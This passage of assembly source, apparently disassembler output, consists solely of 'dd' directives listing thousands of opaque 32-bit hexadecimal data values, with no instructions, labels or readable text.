		dd 63560487h, 0BD05C09Bh, 0DCB0C6BEh, 960A0775h, 4CD04DD2h
		dd 834656h, 0C0C8B92Dh,	729327D4h, 0D0E226C9h, 84FC0814h
		dd 0CE11A489h, 9B4640A4h, 261F9D0Dh, 5830A010h,	0FC7954FAh
		dd 0FE84200Ch, 4E41A09h, 40E8CEC0h, 20A72082h, 4C031504h
		dd 7980834h, 0CA9B67C0h, 0BC73E5F0h, 9B5FB283h,	4B23DFF8h
		dd 6490D824h, 157B8260h, 0EFFF4C97h, 7DEA0C44h,	4B080524h
		dd 0D0F6DCE7h, 0D4EBB744h, 19F4B790h, 309DA0AAh, 45807D11h
		dd 2C28C054h, 1AA29002h, 4A702B53h, 58C4B2B4h, 61B522FCh
		dd 12F3A4A1h, 40C3A9h, 0E55A188Eh, 0F49A1AD5h, 48C0147Eh
		dd 8010AE55h, 60A41CF6h, 30231424h, 419E2B16h, 0DEEE37E4h
		dd 8C2C4CD2h, 0F8D1FC79h
		dd 0C5513F3Ch, 85122037h, 76F0670Eh, 62441015h,	1C893A9h
		dd 0EA61ABAh, 0DB808E66h, 44049333h, 0EF017648h, 3D5239FCh
		dd 0C1E83934h, 3CF10861h, 675F7501h, 1E1FE058h,	94F801B2h
		dd 7198B672h, 0D478C2D1h, 1C665224h, 86A36384h,	0B304D7C0h
		dd 6258078Eh, 707B13A9h, 0F376AE4Bh, 986E7F3Fh,	619841EEh
		dd 745F1DDBh, 24A71617h, 5A9D0CDCh, 0D93C0420h,	43E11632h
		dd 7B6148Ch, 58972EA6h,	0B084142Dh, 9CA0BFC8h, 0CA801F53h
		dd 0CD60D98h, 0D4E0C401h, 28C273CCh, 0A1E631B8h, 0AE28E088h
		dd 49D08720h, 0D0480C15h, 1023A8A2h, 9817B16h, 39494712h
		dd 4BAB040Fh, 7E11EC9Fh, 40C4F880h, 0EE00279Ah,	0DA7B1BF7h
		dd 0AA8F76E4h, 0FB06688h, 0A0DB77D0h, 38F99700h, 330F86B2h
		dd 456EBAAEh, 90823EDDh, 64182258h, 0E00D046h, 8ABEAE27h
		dd 8872F4F0h, 0F22EA3B4h, 0D25A70CEh, 2D350AB8h, 249C7D40h
		dd 6DB50444h, 95790466h, 843A0A5h, 4F06CC90h, 0EE0919C1h
		dd 0E754AA5h, 15E0665Ch, 48512D0h, 803484FEh, 3898D184h
		dd 990B0776h, 67E55631h, 7F896468h, 847A8921h, 0CB60C49Ch
		dd 0D5236DD6h, 724C11DBh, 18D6C500h, 0CA21EEFAh, 5BE49Eh
		dd 0D9ED3AA2h, 5ACF8F9Bh, 0E0903090h, 71870D17h, 0B1216090h
		dd 0FED4E5Dh, 979610C4h, 9CB03938h, 316D3BFh, 9C8BA5F1h
		dd 0D3A7A800h, 2AC3DC6Bh, 904BC94Ah, 0C4C44798h, 0F7C36081h
		dd 14E27C74h, 987E0CFBh, 770D1872h, 24D5C089h, 244A3027h
		dd 0D859B580h, 0CCA058C3h, 0D56CD608h, 5741C4E3h, 0DBD8E8C0h
		dd 0E361003Dh, 0ADA6D06Ch, 0DC136EA0h, 6C904101h, 6A29EC8Fh
		dd 0AE41057h, 44986618h, 6BBF8249h, 0ED82D8D1h,	8056F1DCh
		dd 51DAD420h, 1FB4859h,	0B81D612Dh, 98802B91h, 52F02843h
		dd 790C1D05h, 84E18C7Dh, 0A0A906CAh, 26690822h,	1DD89118h
		dd 0C7117019h, 4B0FD198h, 60CDFAB8h, 503D5D0Dh,	6AF83C71h
		dd 0D4601D01h, 6DDCD0EEh, 0D1169EB0h, 8323B03Fh, 525820Bh
		dd 8A45A74h, 0DC87262h,	8A109FFCh, 0C1A002E9h, 26FF8CB0h
		dd 0E191BA08h, 42256493h, 60270755h, 30A1B590h,	1A192310h
		dd 41748050h, 7C664800h, 3B0D7831h, 48BE025h, 623A9F23h
		dd 3EE8C2A8h, 0F434EA20h, 0DCF1150Dh, 9E73E0C5h, 4C465EA0h
		dd 2CD35902h, 0F0D2171Ch, 0FC54B648h, 0AB3A8C49h, 0E3E000FCh
		dd 60618AF7h, 0E805312Bh, 6D9B6A61h, 45DD0154h,	9A58713Eh
		dd 3354E404h, 25E40518h, 88519231h, 7359E54Fh, 0C95E7C00h
		dd 0ACD9E44Ah, 0E21C9509h, 5E8454B0h, 54014446h, 2B944DE7h
		dd 57DBD837h, 105FD30Ah, 90A5D462h, 906BC44Ch, 0E0EA0342h
		dd 2C358112h, 0FB5C4FD1h, 3F19EEC0h, 0DA91870Ah, 5F94D81Bh
		dd 48B222ACh, 90803875h, 0E6443292h, 0D3987900h, 0CFDD2CC2h
		dd 0FDBC0058h, 0A057469Dh, 4146AFEh, 9F447F6h, 50E4D111h
		dd 0F45F05C8h, 20F35106h, 2A9DEE8Ch, 0F60BC4B6h, 0DC40477h
		dd 0C09B6160h, 965AF025h, 59580010h, 2578709Bh,	98020B7Dh
		dd 7B272E09h, 8864FB1Fh, 18A481DCh, 0F631508h, 0B241DEB4h
		dd 9A8676E0h, 6AC0ED21h, 5264B074h, 1A79C070h, 0F683C023h
		dd 61742101h, 65DD177Ah, 0B8CA418Eh, 8BCE1064h,	0C176C8E8h
		dd 0E020EE7Fh, 79D20FAAh, 8323F83Ah, 6AC32301h,	0C8478D07h
		dd 6420F1ADh, 0F35040A0h, 86432CB2h, 303430F4h,	9B3F1809h
		dd 9C4B5E46h, 509842CDh, 75C726B0h, 202901CCh, 448B2666h
		dd 34B082F4h, 38ACB0F0h, 76D818C4h, 40C5A644h, 3D8B28DDh
		dd 24BE48CEh, 63C4C1A4h, 41D86974h, 92A5F040h, 4198662h
		dd 0C0E86AD4h, 8278B270h, 0F490C892h, 0EC27FCD3h, 2582971h
		dd 8780C38h, 0CF9604A8h, 36608C99h, 80667144h, 0A4144FA5h
		dd 1A850ECh, 5532DEB6h,	5C28F5B2h, 0DC66A004h, 0B484D341h
		dd 47B1F9C0h, 93AA2Dh, 0A60497E8h, 840C9644h, 0E3168458h
		dd 3084A2F0h, 6B12EE8Eh, 0E4E4D217h, 50440329h,	793A462h
		dd 3E96261Fh, 0C8F47A05h, 0F78FF0F0h, 78850771h, 0B449E4EFh
		dd 0F54ADA04h, 94062485h, 28A85066h, 4C0CA293h,	0D6308468h
		dd 5EF4D1A9h, 103723Eh,	0F10ED71Ah, 519CD9FCh, 996DD867h
		dd 5001B80Bh, 2ACA7531h, 5F6161E4h, 2CEB4088h, 8DFF6A00h
		dd 0FC908E8h, 47B8DC62h, 5C17CD09h, 0DF808B91h,	7EE9D91Eh
		dd 0AD881700h, 9BE0C95Ah, 51AC3AA3h, 0ECEE9D02h, 0D4A74DF5h
		dd 9E6152DEh, 25E2E0C3h, 7CA0C324h, 0F85D45A5h,	6302A980h
		dd 0DEE127D3h, 0DAA8A158h, 0FB006BD4h, 0A82025FCh, 0BE8C1475h
		dd 42EA0C1h, 856A8128h,	4FB7101Fh, 0A9121120h, 444B118Eh
		dd 651728C0h, 45CDC0C9h, 6080C43Ch, 0FC1368A9h,	0E8C426BFh
		dd 5B738190h, 7219AAF8h, 0F3DC0164h, 4E8F6A67h,	60759C24h
		dd 0CDE3497Bh, 650030BBh, 0A649D424h, 5D033609h, 0C32344CEh
		dd 0BC270101h, 70EF191h, 0C2270953h, 614D14A2h,	4C68B608h
		dd 0B928D32Ch, 41BCA058h, 0AF49078Ch, 0D0E985FFh, 0EB67FEE3h
		dd 0F940E802h, 0C1652FD3h, 4150F88h, 4431A74h, 448060AEh
		dd 2C2AFA46h, 593451A6h, 0FE71076h, 4FF61647h, 7424047Eh
		dd 7D111E1Eh, 0D2FFC702h, 0D0D83EF4h, 0F9181030h, 78FC0Dh
		dd 0B16E8F17h, 0F0CAFD03h, 2FE5700h, 0FA66A95Ah, 0F80B04E8h
		dd 0C6ECF113h, 694CA03Bh, 8D12280h, 78BF0DEEh, 0C00F945h
		dd 1F2950DCh, 96FCB192h, 0AE70204Fh, 0E200C12Bh, 808FAD0Eh
		dd 27DACFB8h, 340D4F7Ch, 0BCC03CE1h, 0C8008C80h, 0AFA5A441h
		dd 90134FDh, 0CAAB9B47h, 0DC12AC09h, 18C5A422h,	9E11C8C4h
		dd 5E787A3Bh, 0CB24121Ch, 0C07FC8DCh, 0B728024Ch, 35D80E01h
		dd 1050035Eh, 9E58C8CAh, 0B0DA3E66h, 829ED16h, 79891BC4h
		dd 475C10F1h, 80A44AD9h, 0F30469A8h, 114C9F95h,	4D348120h
		dd 66E4CCD4h, 24D73FADh, 4E816459h, 0A72C2A5h, 491D1018h
		dd 0DE007E58h, 0B631D02Ah, 3124442h, 0B16B7549h, 29BEEA7Ah
		dd 3B24A3FCh, 2D60648Fh, 9E159CF5h, 857B8414h, 241F2269h
		dd 0ED608C9Bh, 0A0B52A01h, 32318533h, 0D5056428h, 0A4839404h
		dd 0DCB284BCh, 7A7824h,	0FE0746A8h, 0BCDDAE5Ah,	232016A0h
		dd 43300656h, 29727569h, 71FC9B01h, 0CDC29DA1h,	0D860B8C1h
		dd 2B549C36h, 1A10BE70h, 0B551E70h, 0A6FCC865h,	7B0E88BDh
		dd 62F4919Fh, 1035077h,	0AD500643h, 20E5999Ah, 550C931Ch
		dd 8AC150E7h, 7D7810C0h, 5B405CB9h, 8415B803h, 5081BA30h
		dd 1F1B214Fh, 0E62FC32h, 0E4296A48h, 171B10D2h,	8A3036A7h
		dd 76C87E9Ch, 4F094A46h, 0F8024C93h, 0D30092EFh, 40106CF4h
		dd 0AE4A9D50h, 0CD7568C1h, 0EC309C75h, 0AC3E49E5h, 410DAA11h
		dd 84B6E0B8h, 0D8FD0680h, 773764Ah, 112D2E77h, 0DA88174h
		dd 5C479103h, 460D080h,	98115CCCh, 664648Fh, 0B8A4FCB1h
		dd 0A0038C25h, 10EB1714h, 0EF190011h, 6384EEA7h, 7E0A47D5h
		dd 50FCB8D6h, 3D76C980h, 4E55CDDh, 7EC7296Ah, 14C705h
		dd 25E398D2h, 0ADF02209h, 0FD0C4042h, 0C11B56Ah, 8B8CECC9h
		dd 0ED57AF05h, 588BB0D9h, 0C920C8h, 35580118h, 4CA27D9Ch
		dd 3E4F1481h, 0F9862390h, 0CAD20E86h, 0C045C8C4h, 4357E08Fh
		dd 0C7910F14h, 0EE6005F4h, 0E1CDFCh, 2E6FE842h,	88053A9h
		dd 0CD5BACCh, 0D29BE0C1h, 3A7EACh, 3D44DF70h, 85F84B39h
		dd 59465CB8h, 4D3BE02h,	4459BDF1h, 25A6A563h, 4C644C20h
		dd 0EE3D4E00h, 559CBB89h
		dd 93E60723h, 0F59A4702h, 0AA8404B6h, 6694907Bh, 0A6E813F0h
		dd 1C91A90Ch, 7DCF20B8h, 3008674h, 358A04EFh, 0EB47378h
		dd 0C95194A6h, 0F5F9A7C1h, 0E270731Eh, 0E4E0331Fh, 1C2E06C5h
		dd 0EB1E08A6h, 956A2D60h, 21148844h, 0E8D85742h, 0A5008C43h
		dd 5B08DAE5h, 24EE18h, 6554A6B5h, 10C7F345h, 789180E3h
		dd 97B2C19Ah, 0E4694C23h, 6F2F9445h, 709A1778h,	30993705h
		dd 0AD569C02h, 71C84234h, 0A5F08490h, 2024CC16h, 815DAF2Dh
		dd 702CD588h, 102C147Ch, 4D814064h, 7701277Fh, 0A372E10Ah
		dd 7828CE0Ch, 788C83B8h, 2EEF135Dh, 0BA040966h,	0B05A80F0h
		dd 2123982Eh, 0E46C2400h, 26774FF2h, 8346266h, 1B3D9992h
		dd 8AF16DFCh, 43807C97h, 22946424h, 0A8D3253Eh,	446B24A0h
		dd 90F47592h, 0A7873DCDh, 4704EA3Ah, 0BC4C20CAh, 8C80ECCCh
		dd 89FD9400h, 127BD0D1h, 399F0218h, 883A9DF0h, 0E48B685Ch
		dd 6A0CC81Ah, 0A7A1C067h, 0ACCA9181h, 3107DCB6h, 7A45A1F4h
		dd 0E412EC25h, 0E1B0400Ch, 0E258BEBFh, 5294192h, 0AC91D40Dh
		dd 98689A5Ch, 77DB1D09h, 0ED0C4CD0h, 6038B1ECh,	39526731h
		dd 79D10C21h, 5E409618h, 0B08F9218h, 3C8B120Ch,	0B7CC48BDh
		dd 0C02705C0h, 8694F491h, 872344h, 6B01270Dh, 2E142CD3h
		dd 0DE1CA0B5h, 20712632h, 0CF12CCE9h, 38A0BE89h, 2E484116h
		dd 4009F013h, 0C40845B1h, 74836022h, 909509FEh,	3C851EAAh
		dd 4A20BC36h, 0BC2EEC17h, 0A4007F23h, 29D90428h, 17A71280h
		dd 652820CFh, 546EC5ECh, 0C7DBE960h, 54D46270h,	54D4083Fh
		dd 0D1C4995Ch, 7210182Bh, 0CF1D0FE8h, 0CD6E90BAh, 4A58DF00h
		dd 0B605CA0Ch, 78FAAB18h, 8B5A70B9h, 0C165C844h, 0C4DCEF55h
		dd 18121A5Fh, 0F4F4B4D9h, 0A85C8869h, 58FC2001h, 6F7F78FFh
		dd 0F8511530h, 0FD2D0797h, 6BCAAD48h, 0F433B8A0h, 0A493387Dh
		dd 25660200h, 4B7565D5h, 0C18C0396h, 5181DFEFh,	3D29A8B0h
		dd 1C64649Eh, 0B3EECA4h, 82F4795Eh, 0CF4C10CEh,	0EF95009Ch
		dd 0DFFDFE8Ch, 71DE005Ch, 0DC3D758Bh, 0AC1CDBCDh, 0DC24CA9Bh
		dd 58B04F89h, 1B1030E8h, 0F36B4851h, 1E87E100h,	0BC3FDB4Ah
		dd 31ED0375h, 481A5878h, 66C267F9h, 0D6C91E20h,	9CEBD58Bh
		dd 0C3170034h, 47133FD6h, 9265B2Dh, 6608A8C8h, 0EEFA038Ah
		dd 0E8A06A2Eh, 3D5C98D8h, 0DEB402D8h, 79372138h, 1FEDF1D4h
		dd 725EEDC8h, 74842071h, 7D20EF4Ch, 8251EC93h, 40C0E318h
		dd 6AC1EF9Dh, 8400919Ch, 1B582Ch, 2E9F17C0h, 5BB02010h
		dd 0F563022h, 45D055C4h, 2C1647C1h, 99E4C4F0h, 4C08494Dh
		dd 13E71700h, 0DCA64813h, 405309E0h, 0AB8AB500h, 1EEE7D21h
		dd 0EDDA2F92h, 75F4E048h, 0B443CCAAh, 2888990Fh, 0DA3540E5h
		dd 1D89B72Ah, 80640D93h, 40779EAh, 8B1F7DFCh, 0C6E750FFh
		dd 18FD2034h, 8724F012h, 46F20CA2h, 0FAAA030h, 0CA4B29EDh
		dd 0A240EE27h, 0CCEAEFF4h, 7E7954F1h, 0CA7D3E18h, 85AEF002h
		dd 0FE794DD0h, 0F242C004h, 0A348F688h, 83760B0Ch, 5B48D269h
		dd 0EC28C990h, 4B5B4604h, 7265BC05h, 68F5A481h,	3EFBFA00h
		dd 0FC9C453Fh, 95B952Fh, 8098793Ch, 200BAEC3h, 28FAAD1h
		dd 67F8128Fh, 0B5D06468h, 0E02981CAh, 34046C11h, 3C35F4h
		dd 0CDFEF84Fh, 0BD6AFC1Eh, 0DA9DA410h, 0C05F9520h, 0EE8D4840h
		dd 54F8D509h, 0B988039Dh, 993AF091h, 0AA480833h, 0FB024BC8h
		dd 0F02678F4h, 0FC8D3840h, 0C8841AAh, 0C38FF663h, 0D914F418h
		dd 80485DC5h, 0B5FFF889h, 6984408Fh, 6C783221h,	0AF981D0h
		dd 13F8057Fh, 68DDF312h, 0C2529C20h, 0BEFB0088h, 0FCFD0B12h
		dd 6754A948h, 2FD42070h, 7C411C0Ch, 0F0207A32h,	0E96DA697h
		dd 0C2A8447Bh, 90314CC8h, 2C08B35Eh, 8C642568h,	344DFC29h
		dd 1E5069Ch, 83045F1Ch,	337009D3h, 7CC07A96h, 20CD019h
		dd 30F5BA40h, 0CB875E7Bh, 12DC4894h, 800488Fh, 61849A93h
		dd 0E91203D6h, 62ADEE95h, 50C16968h, 8C3491C5h,	5F46C301h
		dd 80502024h, 0D147A61Ah, 5B970CA9h, 0B2C1D184h, 544F2F70h
		dd 0B9049054h, 81C86C9Bh, 839D595Ch, 8053548h, 0A9203C19h
		dd 0F54DDD80h, 0B8865A4Eh, 0A460B21Fh, 0B516B4EAh, 68D23A91h
		dd 0EEC2DD97h, 747B68F2h, 0E4425494h, 0AC8B0967h, 1D0B90DAh
		dd 2470A294h, 0B882678Ch, 50A029F8h, 74B8A292h,	24D8A2BDh
		dd 0A8F31056h, 5E8C7C8Ah, 0E6008046h, 9FE04834h, 9C99315Bh
		dd 19A3000h, 1E6D2FEh, 0F2E4E142h, 0F4E7BA76h, 4F2F66B4h
		dd 93D848EEh, 0BE6C0EC9h, 821D5864h, 0F37569BAh, 0EC8F30E8h
		dd 0C0E194Ah, 28CB3783h, 0A2C184C8h, 203B9DB2h,	5EF57B68h
		dd 9F96BF38h, 144001D9h, 2CD4C4D8h, 0F496FCh, 731F1759h
		dd 0D078B26Eh, 963FD8A4h, 25B75CD2h, 9BD480C5h,	33048E90h
		dd 411040DEh, 0C4E35EF2h, 0ED9ED8A7h, 0E0819597h, 0D0515431h
		dd 21817578h, 5359D728h, 8B5AC41Fh, 0CDA9BD00h,	0B81642FBh
		dd 4C551265h, 820CAC83h, 5ACA10C9h, 73DD3050h, 0A2DFD449h
		dd 38BBB48h, 98315472h,	4D2930F2h, 0DE941AC0h, 66311F60h
		dd 209D0646h, 0C31FBDEEh, 5204711h, 535CDD6Bh, 9374B08Bh
		dd 0D0B9A56Ah, 188C0D0Ch, 10786F0h, 0DDD3D997h,	10F4C365h
		dd 182658ABh, 765D5A10h, 465EE49Ch, 8A4E1D46h, 0C2612005h
		dd 0C2ADAD83h, 6A186473h, 28A97Dh, 56D9106Eh, 0B51709AAh
		dd 24A42A47h, 42F34A79h, 8CA16FE0h, 0C6063C7Ch,	751975F0h
		dd 0CCA448h, 0CA252D3Bh, 0E2A99A29h, 2718B000h,	9178A4C1h
		dd 307BE607h, 0A8395401h, 66004273h, 0C9B57518h, 0EADE7C68h
		dd 0F3F43889h, 45221E04h, 1108C346h, 0C902CFBh,	0CF0464CAh
		dd 0E50A5DC1h, 782804AAh, 0EAC6604Ch, 0DB50A015h, 943EE33h
		dd 9C2E2950h, 390184F0h, 0DEE5F86h, 8C446E9Fh, 8DE1A4A3h
		dd 429C085Ch, 0A5CA1066h, 11200EB9h, 0B480A92Dh, 95F041D4h
		dd 9880864Bh, 12EE36D3h, 54B27706h, 9781F0FCh, 3E2D814Bh
		dd 46A3C4Ah, 0E853007Eh, 0E9B694C6h, 0BC008AD0h, 0B48BAF3Dh
		dd 308CD5F0h, 5D19EC69h, 0B5018DBAh, 7A94D6FEh,	0E900C540h
		dd 0C23EB6C8h, 0B5911D3Dh, 0B41FD51Fh, 27B8E20Eh, 80BF87FAh
		dd 0B78DD4E7h, 0C3E4E9EDh, 90E10E3Dh, 85E6F5C2h, 930928AEh
		dd 80DBF1B7h, 92D9F65Dh, 0DAFB3026h, 7999EC40h,	0C8F86200h
		dd 0DF3DBB8Bh, 2FC5038Ah, 51106C6Eh, 402679B8h,	899204A0h
		dd 86D680C7h, 0A7C41BC0h, 1833735Ah, 79EFB779h,	9FF1D6F6h
		dd 0E81BB571h, 153DA318h, 8E6B6E0h, 0EDB18D0Ch,	0EE146918h
		dd 603850D3h, 646C7080h, 86D506F9h, 88D9F0B1h, 1E882126h
		dd 567B5306h, 8EC60FE8h, 79801251h, 0B593408Dh,	0A0A540CAh
		dd 0AACEFC00h, 880C65h,	0C639265Ch, 0D6101D6Fh,	16B38A0Ch
		dd 0E8ABE1BAh, 6DFC0075h, 0DAEE566Ch, 92A57B6h,	0B2403CC4h
		dd 0F6BE01B4h, 405CB0E3h, 3B31C8Ah, 0BAE9B1A1h,	204262C4h
		dd 0B80C093Ch, 950C0F90h, 446C93Ch, 1D23DCA4h, 3A189CB1h
		dd 0AB82E445h, 519EDCACh, 0AE2DF8h, 460C804h, 0AC0BB755h
		dd 0ABF91402h, 0BC341057h, 21774121h, 90C4318Ch, 4781C748h
		dd 21C6A3AAh, 4CA424B8h, 0D3896894h, 32005C5Dh,	0DA12EB58h
		dd 0D2A0C804h, 4570014Bh, 0E124C03h, 45B5702Ch,	0E958908Ah
		dd 62B4B992h, 57154E60h, 0AB825010h, 52317545h,	0A3B29474h
		dd 0F3582168h, 0C843B017h, 2E9ADA9Bh, 0CFCBAD1h, 5F58172Ah
		dd 88E1044Ah, 0C821940Eh
		dd 4C0381C1h, 71E7C80Fh, 0DDC81A26h, 8A0A3871h,	0FC620C69h
		dd 0F74F0274h, 0D968CE8h, 64710725h, 0F8DC9084h, 0F8C95C19h
		dd 219720DEh, 0C404D380h, 981C013Bh, 648B6608h,	0FB887A68h
		dd 52062E04h, 0A40B8C5Ch, 270F1E28h, 0E9D58C25h, 14C45918h
		dd 6589405Fh, 68200C64h, 0D6E53972h, 955005DFh,	15AC5EEFh
		dd 7D7F240Ch, 0C16580Dh, 1698D52Ah, 0A049FCEDh,	9C0F93BCh
		dd 0E513EEC3h, 0B0569BF4h, 815E610Ch, 0C1263EDBh, 37EF5C92h
		dd 64448A04h, 2AE7226Ah, 2AD951DCh, 84C1F894h, 4F105561h
		dd 239F91E6h, 50D806ACh, 0D99F0441h, 0CE81891h,	0E0438697h
		dd 0F0918721h, 8C911C50h, 82480749h, 4698D5Eh, 885C876Bh
		dd 4699930Eh, 4640868Fh, 4E6809EFh, 823C1216h, 0F19249Ch
		dd 0B212490Fh, 9EE0680h, 0F96E76h, 1E9C41Ch, 0EC9D3922h
		dd 31525302h, 0A06EEE50h, 77C6B980h, 0D998001Fh, 6BE81DE9h
		dd 18C5CAFDh, 0B0C0CD92h, 602C585h, 0B132DD6Ah,	46003867h
		dd 3B31DE06h, 9DA02948h, 0A72F2410h, 3D072E00h,	275470CDh
		dd 0E3C30039h, 0C01F58F7h, 5600DEB4h, 50DD23C1h, 53EA2BAh
		dd 400C937Ah, 0E96CC0CBh, 5E4CCEE5h, 40414BE5h,	3ED932C7h
		dd 504D0h, 643D08E9h, 0D645942Dh, 0C6727B00h, 3F99B884h
		dd 11E70025h, 6E46DD49h, 7A00A5E9h, 0EEFA4EB1h,	1365CA43h
		dd 0E047F8EBh, 0B9CC2B40h, 2D3B2059h, 0A8EB7561h, 162B3CD8h
		dd 1F40FE00h, 91492F24h, 81F70388h, 93E21D8Dh, 101EB380h
		dd 28BF49h, 0EB7BD535h,	19D262Fh, 0A532C047h, 0D8B1B9C8h
		dd 63391BC5h, 12C98038h, 0C6F27A61h, 0A0DE1CAAh, 0CFF0F20h
		dd 94A976A0h, 880AD91Ch, 18373B92h, 1042E900h, 0BBE840h
		dd 0FD04C233h, 0B0CF91E4h, 6380B00h, 0ECBE7FFEh, 2A3D00EDh
		dd 209A6AC5h, 0E00CC8D2h, 48936B38h, 152EA0Ch, 355FF489h
		dd 984FED6Dh, 2A690508h, 36520363h, 22E96DDh, 0DF821CF0h
		dd 2500C174h, 5936651h,	484CEB56h, 8F0035A5h, 5924BD12h
		dd 0AC3DD7E2h, 50A8584Bh, 0C901E96Ch, 0F15F2296h, 1AE0252Ch
		dd 0F8B078Fh, 0B99260E3h, 6C207E0Ch, 91267F05h,	203840DAh
		dd 0FA4616h, 7D6F3D91h,	60539311h, 0B36CC092h, 0E27B1FE8h
		dd 678CE606h, 6008D648h, 0DF5521A7h, 0BF00961Fh, 0BBFC6ECEh
		dd 5D2ECA5h, 21E5F505h,	6F9C065Dh, 9410F946h, 1B0A4F41h
		dd 8C9417EDh, 5B518E75h, 2DFB5100h, 54C07398h, 18116009h
		dd 0C8C75948h, 0E408E1EAh, 18F05Fh, 3455ED93h, 80E82EAh
		dd 4038A247h, 6B53FFC5h, 95960A6Ch, 1ED86A14h, 795E4ABBh
		dd 81103090h, 0EB38D3DEh, 16B51DD5h, 5D0828D9h,	0D6AC2180h
		dd 0C1E01BD3h, 0D830F42Ah, 9749EAF0h, 0A2085300h, 53BC3018h
		dd 5F19660h, 1A77D4h, 0EEC889B7h, 53AB5EEAh, 25881800h
		dd 3A7449C6h, 1E6D12B2h, 752C21EDh, 63418F9Fh, 2E003F89h
		dd 9E2FF38Dh, 0CDDA1E7Eh, 0FD2ADD41h, 0B1ED3401h, 8762E9F0h
		dd 0DD60F8D8h, 0A0430F85h, 0D0AA8632h, 1907A49Ch, 8AC9195h
		dd 0D1218127h, 8053AA8Dh, 65F5D4h, 6EE18A0Fh, 0BC432D94h
		dd 9850792Ah, 0DCBAA700h, 2369B6E0h, 5FAB006Dh,	4DC1E8F9h
		dd 7700D340h, 594717Eh,	129D2C02h, 1054C7D1h, 0E523A448h
		dd 94526E01h, 211877F4h, 0E662988h, 0BEACA452h,	3BCB4160h
		dd 1614C14Dh, 87F09498h, 0F42056E1h, 3872E6h, 66C4BEE2h
		dd 0B520D635h, 40E4E4A3h, 0DDEE62CCh, 0FB9005Ah, 0F529CA94h
		dd 71D43933h, 69607B24h, 0D0ECBF59h, 0C80B0A77h, 0BE943511h
		dd 1AB5EF00h, 0D052E056h, 0D7C53807h, 6C5411DDh, 0AB88AC8Eh
		dd 0B0AA0BC1h, 5497C6FCh, 5C12E099h, 1533BEDBh,	0CAB15779h
		dd 0EB35EDF0h, 0D149B100h, 0C1036981h, 0C66F0718h, 9DE3F56Ah
		dd 8F9191F1h, 0DE1FEC83h, 228D06D9h, 0E351C3F4h, 26CEB81Fh
		dd 0A290799h, 0F2EC3F6Dh, 0E0846B56h, 526760E4h, 7FF42385h
		dd 26002311h, 630C525Fh, 840160CCh, 582EEC8Eh, 6CC496ACh
		dd 72E7806Dh, 70321401h, 9C117ACCh, 3DEB5848h, 0EA3DF1Fh
		dd 4E00AB11h, 84DB1FE6h, 8E1D02FFh, 0FB41CD1Ch,	1D391498h
		dd 5258980h, 0FE4280F0h, 0F7868400h, 0AC3C8A7h,	2E7605A5h
		dd 4017FB67h, 0D0C4C2B4h, 0EF003868h, 72B3A379h, 0DF1FF0FFh
		dd 2FCB8021h, 0DB0B666Fh, 0E8001EF0h, 7FDD1CEh,	15AB2C9h
		dd 0EB69B3A2h, 9FC8C386h, 0B88040A9h, 2291CD30h, 12D6F4A5h
		dd 1DEE7EA8h, 8701A3D4h, 0BC9C69AAh, 0D4882618h, 2EAA008Eh
		dd 0B4E0D7E3h, 0EB30D822h, 0C496694Bh, 6409E8A0h, 5F43185Bh
		dd 20E88FC9h, 0C3DF632Ch, 0E8225052h, 627C8CE1h, 57F48810h
		dd 525A2DE0h, 534AC600h, 484E498Dh, 0BCD0B1B8h,	31C05B80h
		dd 71C4D26Fh, 9CC25E00h, 4EE95CF4h, 484F0F10h, 942C6369h
		dd 0AC07199h, 0BDE759ABh, 199C6054h, 6F5DFB9Bh,	1E002E7Ch
		dd 0BF20FC9Fh, 0EA97AC70h, 0B01B59C6h, 0A44211F8h, 105A0E23h
		dd 8CFA2D20h, 0DB56F772h, 0AA8802E8h, 31949C6Ah, 8FCF1023h
		dd 379A00AAh, 0F949C4AEh, 9048CB3Ch, 3DA230Ch, 9C6DAA8Bh
		dd 202D628Ch, 5EAA92D0h, 0EB85F500h, 0BF144AFFh, 356B1576h
		dd 0FD3EF073h, 1077F980h, 0D8CE5EEDh, 3A2F4300h, 8ECB46C6h
		dd 79D312F2h, 114404Fh,	311D1AAEh, 37B0F2A0h, 0D96AE300h
		dd 0CB4DAF08h, 931C04C2h, 89532297h, 497E2C8h, 2057790Bh
		dd 67F2C1D8h, 538D2835h, 2170E310h, 161CB256h, 16D2CDh
		dd 338BF188h, 0F47D737Fh, 2E487467h, 0C08C0680h, 1AD233CCh
		dd 3EC40128h, 38615046h, 800B751Fh, 56C51A21h, 0C14A426h
		dd 829346DEh, 1C99F018h, 41457A0Ch, 20A648DEh, 0C5CA1861h
		dd 64398652h, 0C1F0E6h,	6F093296h, 0CC236AB5h, 8F522901h
		dd 8B5A1CC5h, 56E09DE9h, 91A061E8h, 57E7E263h, 14F38198h
		dd 7440EE11h, 722C4894h, 761974EAh, 442033E0h, 1C68E8E9h
		dd 0F1384FAFh, 0C407DC19h, 0A6F0738Dh, 993A1500h, 0C86E9114h
		dd 7D8C07DEh, 1220926Bh, 58409A64h, 0D50DF49Dh,	8F50CE4h
		dd 5BEE7FCh, 6036DBEFh,	0ED9CC272h, 4C3148C2h, 6BA02054h
		dd 82A8E78h, 4A44E0D3h,	48E16062h, 6B3F92DAh, 63679D06h
		dd 2AF1CBE8h, 9AC104Ah,	8E6DE997h, 0ABE60400h, 6F100818h
		dd 6048414h, 0A1D1EC54h, 0F3E00878h, 59745C98h,	51492B78h
		dd 33C83ADCh, 0C0AB21A3h, 0C09D7548h, 0C195CE71h, 1478A36Dh
		dd 890B4CB2h, 831707E2h, 6AFF08Ch, 3EE0F371h, 3D44F8C9h
		dd 2E872C3h, 1138F66Ah,	18C66DEEh, 0B4DABE00h, 0AA714F95h
		dd 0F9570DD8h, 8040E573h, 9B326169h, 54E95659h,	3C9A90F4h
		dd 0EC306360h, 91522811h, 0FCDFF226h, 3F92021Dh, 30205013h
		dd 1273923Dh, 2195966Bh, 24E19374h, 5904DB9Ch, 0C2AB6FE3h
		dd 3C1CB583h, 6A0090B9h, 4F485B0Dh, 4E0EE2F3h, 0A1B4D946h
		dd 0D072955Fh, 88542C20h, 0EC3FD2F3h, 0F2D38085h, 483E8DE7h
		dd 0C8BB0AADh, 80C04D79h, 38D43A05h, 0DA0B5D22h, 0B5A57B8h
		dd 9BB8A2F8h, 47EA0371h, 0E1885945h, 0CD11805Fh, 64E4F4D3h
		dd 2916733Bh, 89D4B0E8h, 0A80629EFh, 60AC515Eh,	0FB951618h
		dd 0BE9E221h, 664FD536h, 170C0C88h, 4496E8D6h, 0E9269DD0h
		dd 5F0363B9h, 0D84953F3h, 4D50417h, 0BB1495C7h,	61F0C4A9h
		dd 0E5D84D14h, 95304142h, 0D0F00924h, 0F018C340h, 68016093h
